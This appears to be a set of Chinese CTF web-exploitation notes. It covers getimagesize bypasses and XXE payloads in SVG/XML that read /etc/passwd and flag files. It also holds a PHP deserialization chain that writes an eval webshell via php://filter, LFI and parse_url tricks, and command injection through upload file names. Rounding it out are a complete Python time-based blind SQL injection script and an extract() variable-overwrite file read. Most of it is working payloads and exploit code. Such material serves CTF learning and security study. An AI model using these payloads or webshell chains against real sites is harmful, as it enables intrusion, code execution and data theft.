web点1

1
php取反编码绕过 echo(~'内容')

检查文件长宽的getimagesize()函数绕过 这个用来获取图像大小及相关信息 成功就返回一个数组

1
2
3
4
5
6
7
8
9
10
11
getimagesize() 函数返回的数组:

Array
(
[0] => 290
[1] => 69
[2] => 3
[3] => width="290" height="69"
[bits] => 8
[mime] => image/png
)
  1. 索引 0 给出的是图像宽度的像素值
    索引 1 给出的是图像高度的像素值
    索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
    索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 标签
    索引 bits 给出的是图像的每种颜色的位数,二进制格式
    索引 channels 给出的是图像的通道值,RGB 图像默认是 3
    索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如:header(“Content-type: image/jpeg”);
1
函数finfo_file()其主要是识别PNG文件十六进制下的第一行信息,若保留文件头信息,破坏掉文件长宽等其余信息,也就可以绕过getimagesize() 函数的检验使用Hex Fiend将图片其余数据删掉,只保留文件头:

上传svg格式文件 可进行神奇的操作变成xee漏洞
svg是xml的图片 存在可控内容

1
2
3
4
5
6
7
8
9
10
<?DOCTYPE html>
<html>
<body>

<svg height="100" width="100>
<text x="10" y="10">123</text>
</svg>

</body>
</html>

直接通过DTD外部实体声明

1
2
3
4
5
6
7
8
9
XML内容:
<?xml version="1.0"?>

<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>


不知道flag的路径,可以先用/proc/self/pwd/代表的是当前路径。可以构造/proc/self/pwd/flag.txt读取文件

最终构造的.svg 文件内容:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version='1.0'?>

<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
</users>
utf-8 转utf-16 绕过


1
$result = file_put_contents($filename, $data);  file_put_contents 这个支持php伪协议 可以将base64编码过的shell写入$data
1
public function cleanContents(array $contents)    {        $cachedProperties = array_flip([            'path', 'dirname', 'basename', 'extension', 'filename',            'size', 'mimetype', 'visibility', 'timestamp', 'type',        ]);        foreach ($contents as $path => $object) {            if (is_array($object)) {                $contents[$path] = array_intersect_key($object, $cachedProperties);            }        }            return $contents;    }
array_intersect_key()函数用于比较两个(或更多个)数组的键名 ,并返回交集。

第一段是数组赋值,第二段数组遍历并将两个数组的交际赋给$contents[$path]
所以**$object的键选$cachedProperties中任意一个都行**,这里选择path。值就是我们的shell的base64编码,

1
也就是 $object=array("path"=>"<?php eval($_GET['a']);?>的base64(PD9waHAgZXZhbCgkX0dFVFsnYSddKTs/Pg==)")
1
public function getCacheKey(string $name): string    {        return $this->options['prefix'] . $name;    }$filename = $this->getCacheKey($name);

getcachekey方法 prefix用于文件名构造

因为在后面写入文件的时候,前面拼接了一段别的php代码,而且这段代码会导致即便我们在后面拼接上shell也无法正常执行。

1
"<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n"
1
$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;$result = file_put_contents($filename, $data);

这段代码中的**$data全部用base64解码转化过后再写入文件中**,其中前面拼接部分会被强制解码,从而变成一堆乱码。而我们写入的shell(base64编码过的)会解码成正常的木马文件。
这里唯一需要注意的是长度问题,我们需要shell部分前面加起来的字节数为4的倍数(base64解码时不影响shell部分)。

1
所以$b->options['prefix']='php://filter/write=convert.base64-decode/resource=./uploads/';已经可以确定了。

这段代码中的$data全部用base64解码转化过后再写入文件中,其中前面拼接部分会被强制解码,从而变成一堆乱码。而我们写入的shell(base64编码过的)会解码成正常的木马文件。
这里唯一需要注意的是长度问题,

1
我们需要shell部分<?php phpinfo()?>前面加起来的字节数为4的倍数(base64解码时不影响shell部分)。

所以$b->options[‘prefix’]=’php://filter/write=convert.base64-decode/resource=./uploads/‘;已经可以确定了。

现在只需要控制写入内容

1
$date接收传参$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

payload:

1
<?phpclass A{    protected $store;    protected $key;    protected $expire;    public function __construct()    {        $this->key = 'pz.php';    }    public function start($tmp){        $this->store = $tmp;    }}class B{    public $options;}$a = new A();$b = new B();$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";$b->options['expire'] = 11;$b->options['data_compress'] = false;$b->options['serialize'] = 'strval';$a->start($b);$object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2FhYSddKTs/Pg==");$path = '111';$a->cache = array($path=>$object);$a->complete = '2';echo urlencode(serialize($a));?>
1
php伪协议/user.php?page=php://filter/convert.base64-encode/resource=
1
parse_url解析漏洞:$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'],$query)

这种情况:

1
//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

会解析错误返回false 就可以进行读取

1
$newfile = $path.$filename;echo "file upload success<br />";echo $filename;$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");

通过文件名代码执行漏洞

1
/被过滤了,使用cd ..
1
filename=";ls;#"​                ="cd ..;ls;#"  切换目录​                ="cd ..;cat wenjianming;#"
1
存在堆叠注入的判断方法:名称处加单引号报错,加双引号不报错,加单引号和分号不报错,说明存在堆叠注入。根据判断方法,当我们在 username 输入 admin'或者 admin;' 提示报错username 输入 admin 或者admin'; 报错消失

通过mysql预处理与hex绕过过滤来构建脚本

1
#author: c1e4rimport requestsimport jsonimport timedef main():    #题目地址    url = '''http://568215bc-57ff-4663-a8d9-808ecfb00f7f.node3.buuoj.cn/index.php?r=Login/Login'''    #注入payload    payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"    flag = ''    for i in range(1,30):        #查询payload        payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"        for j in range(0,128):            #将构造好的payload进行16进制转码和json转码            datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}            data = json.dumps(datas)            times = time.time()            res = requests.post(url = url, data = data)            if time.time() - times >= 3:                flag = flag + chr(j)                print(flag)                breakdef str_to_hex(s):    return ''.join([hex(ord(c)).replace('0x', '') for c in s])if __name__ == '__main__':    main()

注入过程没有特殊回显常见词被过滤用16进制+mysql预处理来绕过加上时间盲注进行绕过

1
2
3


sql: select hex('select sleep(5)');

下载到源码:前端的应用逻辑基础一般在contraller文件夹下

1
/Controller/BaseController.php....public function loadView($viewName ='', $viewData = []){   $this->viewPath = BASE_PATH . "/View/{$viewName}.php";   if(file_exists($this->viewPath))   {      extract($viewData);      include $this->viewPath;   }}

loadview方法使用了extract 和include了一个文件

只要viewdata可控 就能覆盖掉this->viewpath文件中的某些变量 而且这个是要返回给客户的

1
/Controller/UserController.phppublic function actionIndex(){    $listData = $_REQUEST;    $this->loadView('userIndex',$listData);}

这边存在对viewdata完全可控的地方

1
.......                if(!isset($img_file)) {                    $img_file = '/../favicon.ico';                }                $img_dir = dirname(__FILE__) . $img_file;                $img_base64 = imgToBase64($img_dir);                echo '<img src="' . $img_base64 . '">';       //图片形式展示                ?></div>        </div>    </div></div></body></html><?phpfunction imgToBase64($img_file) {                return $img_base64; //返回图片的base64}?>

读取$img_file 的内容 以base64输出 imgfile通过extract(viewdata)变量覆盖漏洞完全控制

1
2
3
,而$viewData是受用户控制的完全控制的。所以这里就存在一个任意文件读取漏洞。

所以可以通过访问img_file= 来获取文件